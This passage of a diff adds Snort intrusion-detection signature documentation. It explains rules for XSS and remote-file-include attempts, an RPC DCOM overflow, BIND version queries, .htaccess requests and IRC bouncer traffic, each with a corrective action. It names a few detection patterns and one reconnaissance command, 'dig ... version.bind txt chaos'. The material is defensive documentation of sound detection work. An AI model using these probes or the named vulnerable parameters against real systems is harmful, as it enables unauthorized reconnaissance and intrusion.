+Detailed Information:
+Saint is an open-source security scanner which checks for common 
+vulnerabilities. When it detects an open ftp server, it tries to log in 
+anonymously using the password '-saint'
+
+--
+
+Affected Systems:
+Machines running anonymous ftp servers.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs using the Saint Scanner, checking for 
+known vulnerabilities. If the scanner encounters a ftp server, it tries 
+to log in .
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+A user may be using that same password for a legitimate 
+anonymous login.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable anonymous FTP access.
+
+--
+
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS330
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000565.txt
+++ snort-2.8.5.2/doc/signatures/100000565.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000565
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "GL-SH Deaf Forum" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "action" parameter in the "show.php" script 
+used by the "GL-SH Deaf Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using GL-SH Deaf Forum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1685.txt
+++ snort-2.8.5.2/doc/signatures/1685.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1685
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000443.txt
+++ snort-2.8.5.2/doc/signatures/100000443.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000443
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiraksGalerie" application running on a webserver. Access to the file "galimage.lib.php" using a remote file being passed as the "listconfigfile[0]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "listconfigfile[0]" parameter in the "galimage.lib.php" script used by the "MiraksGalerie" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiraksGalerie
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000164.txt
+++ snort-2.8.5.2/doc/signatures/100000164.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000164
+
+-- 
+Summary: 
+This event is generated when an ICMP packet crafted to exploit a denial of 
+service vulnerability in the Linux kernel is detected.
+
+--
+Impact:
+A denial of service will be caused against vulnerable hosts. If an attacker 
+sends a continuous stream of such packets, the host can be prevented from 
+functioning properly for a prolonged period of time.
+
+--
+Detailed Information:
+Linux kernel versions below 2.6.13 contain a flaw which will result in a null 
+pointer dereference when processing ICMP packets that contain invalid SCTP 
+data. In order to be vulnerable, a host must have SCTP enabled.
+
+--
+Affected Systems:
+Any Linux system with a kernel version < 2.6.13 with SCTP enabled.
+
+--
+Attack Scenarios:
+An attacker could use a script to send malformed packets to a vulnerable host.
+
+--
+Ease of Attack:
+Simple, as a publicly available exploit script exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Linux systems' kernel to version 2.6.13 or higher. Alternately, disable 
+SCTP or use a firewall to block ICMP traffic at your network's border.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+http://oss.sgi.com/projects/netdev/archive/2005-07/msg00142.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1349.txt
+++ snort-2.8.5.2/doc/signatures/1349.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1349
+
+--
+Summary:
+Attempted /bin/python access via web
+
+--
+Impact:
+Attempt to execute a python script on a host.
+
+--
+Detailed Information:
+This is an attempt to execute a python script on a host. Python is a scripting language that is available on a wide variety of platforms. By default Python code runs with full access to all libraries and inbuilt commands available to the language. When combined with the access permissions of the user executing the script, the consequences of running arbitrary code can be devastating
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP transaction that includes a reference to Python in the URI.
+
+--
+Ease of Attack:
+Simple HTTP.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Python may also be requested on a command line should the attacker gain access to the machine. Whenever possible, all python scripts on the host should be written using the restriceted access mode. This forces Python to execute the scripts in a "sandbox" which will disallow unsafe operations in the code.
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1350
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1616.txt
+++ snort-2.8.5.2/doc/signatures/1616.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1616
+
+--
+Summary:
+This event is generated when an attempt is made to query version.bind on your DNS server.
+
+--
+Impact:
+Reconnaissance. This may indicate which version of BIND the server is running.
+
+--
+Detailed Information:
+An attacker can query a DNS server for the version of BIND running.  Some versions of BIND, by default, respond to these queries while BIND version 9; by default, does not.  A response to this query can assist an attacker in discovering servers that are potentially vulnerable to exploits associated with specific versions of BIND. 
+
+--
+Affected Systems:
+All versions of BIND.
+
+--
+Attack Scenarios:
+An attacker can execute this query to find DNS servers running specific versions of BIND.
+
+--
+Ease of Attack:
+Simple. Use the Unix command 'dig @ns.com version.bind txt chaos' 
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the ability to retrieve the version.bind chaos record via configuration options.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10028
+
+Arachnids::
+http://www.whitehats.com/info/IDS278
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3361.txt
+++ snort-2.8.5.2/doc/signatures/3361.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3361
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000435.txt
+++ snort-2.8.5.2/doc/signatures/100000435.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000435
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_Ml_User.class.php" using a remote file being passed as the "GLOBALS[APP][path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "GLOBALS[APP][path][core]" parameter in the "Bs_Ml_User.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2248.txt
+++ snort-2.8.5.2/doc/signatures/2248.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2248
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Persits AspUpload application.
+
+--
+Impact:
+Information disclosure. Possible retrieval of sensitive system files. 
+Installation of arbitrary files.
+
+--
+Detailed Information:
+Under certain circumstances it is possible to retrieve information from 
+outside the web root of a server using AspUpload by utilizing a 
+directory traversal technique. The same technique can also be used to 
+upload files of the attackers choosing to other areas of the file 
+system.
+
+The vulnerability exists in the sample scripts that accompany the 
+application.
+
+--
+Affected Systems:
+	AspUpload 2.1
+	
+--
+Attack Scenarios:
+The attacker can use a simple directory traversal technique when 
+supplying the filename for upload.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Remove the sample scripts installed by the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3608
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000441.txt
+++ snort-2.8.5.2/doc/signatures/100000441.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000441
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Wikiwig" application running on a webserver. Access to the file "wk_lang.php" using a remote file being passed as the "WK[wkpath]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "WK[wkpath]" parameter in the "wk_lang.php" script used by the "Wikiwig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Wikiwig
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/551.txt
+++ snort-2.8.5.2/doc/signatures/551.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+551
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1722.txt
+++ snort-2.8.5.2/doc/signatures/1722.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1722
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1830.txt
+++ snort-2.8.5.2/doc/signatures/1830.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1830
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3157.txt
+++ snort-2.8.5.2/doc/signatures/3157.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3157
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/631.txt
+++ snort-2.8.5.2/doc/signatures/631.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+631
+
+--
+Summary:
+This event is generated when an external user scans an internal SMTP
+server using Network Associates' Cybercop vulnerability scanner. 
+
+--
+Impact:
+Information gathering. 
+
+--
+Detailed Information:
+Cybercop Scanner is scanning software that searches for system
+vulnerabilities. As one of its scanning procedures, it sends an EHLO
+command to SMTP server ports to determine if the SMTP server will return
+a list of remote commands that it accepts.   
+
+--
+Affected Systems:
+Any SMTP server that returns a list of acceptable commands for remote mailers.
+
+--
+Attack Scenarios:
+An attacker may run Cybercop Scanner against SMTP servers in order to
+determine vulnerabilities that can later be exploited.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure that your SMTP server does not provide more information than is
+necessary when it receives an EHLO request.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+General Cybercop information:
+http://www.securityfocus.com/products/126
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1671.txt
+++ snort-2.8.5.2/doc/signatures/1671.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1671
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1129.txt
+++ snort-2.8.5.2/doc/signatures/1129.txt
@@ -0,0 +1,75 @@
+Rule:
+--
+Sid:
+1129
+--
+Summary:
+This event is generated when an attempt is made to access the file 
+".htaccess" from a web server.
+
+--
+Impact:
+If this request is successful, it could provide an attacker with 
+valuable information needed to compromise the website.
+
+--
+Detailed Information:
+Most UNIX based web servers, such as Apache and Netscape Enterprise 
+Server, use ".htaccess" files to customize security settings on a 
+per-directory level. These files can specify things like what users 
+have access to what resources, hosts that are allowed or denied, and 
+what type of authentication system to use.   This type of data would be 
+most useful for carrying out an attack on the site.   Fortunately, all 
+modern web servers deny client access to these files by default.
+
+--
+Affected Systems:
+Any system that uses ".htaccess" files and which have misconfigured the 
+server to allow client access to them.
+
+--
+Attack Scenarios:
+This is an information gathering operation which could facilitate an 
+attack.
+
+--
+Ease of Attack:
+It is simple to send a request for this file, but the request would only
+be successful if the file exists and the server allows access to it.
+
+--
+False Positives:
+While unlikely, certain web servers that are set up to host multiple 
+users' sites may allow access to this file by the site owners.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+First determine if the attack is successful by requesting the file 
+yourself. If the request is granted, ensure that your web server is 
+configured to deny access to all files that begin with ".ht".
+
+The default configuration for the Apache HTTP Server should include the 
+following section to prevent access to .ht files:
+
+<Files ~ "^\.ht">
+    Order allow,deny
+    Deny from all
+</Files>
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+-- 
+Additional References:
+
+Webdeveloper.com
+http://www.webdeveloper.com/servers/servers_htaccess_magic.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/493.txt
+++ snort-2.8.5.2/doc/signatures/493.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid: 493
+
+--
+Summary: 
+This event is generated when an attempt is made to access the psyBNC IRC
+"bouncer".
+
+--
+Impact: 
+
+
+--
+Detailed Information:
+The psyBNC IRC bouncer was designed to hold a connection to an IRC server.  As part
+of the connection process, a psyBNC server will respond with
+"Welcome!psyBNC@lam3rz.de".
+
+--
+Affected Systems:
+ All systems using psyBNC.
+
+--
+Attack Scenarios:
+The psyBNC server itself is not necessarily a risk in itself, but this may be a
+violation of corporate policy. Furthermore, psyBNC has found it's way into a large number
+of rootkits, both as an IRC bouncer and as remote control agent for dDOS networks.
+
+--
+Ease of Attack:
+Simple. Any user can install psyBNC.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+A modified psyBNC server will not respond with "Welcome!psyBNC@lam3rz.de" and could
+easily evade this rule.
+
+SSL encryption between client and server is possible.
+
+--
+Corrective Action:
+Check the originating host IP and source port and investigate the possibility of a
+listening psyBNC server and possible system comprimise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+psyBNC:
+http://www.psychoid.lam3rz.de/
+http://www.psychoid.net/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1342.txt
+++ snort-2.8.5.2/doc/signatures/1342.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted gcc command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The gcc command is the GNU project's C and C++ compiler used to compile C and C++ source files into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'gcc'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/695.txt
+++ snort-2.8.5.2/doc/signatures/695.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+695
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
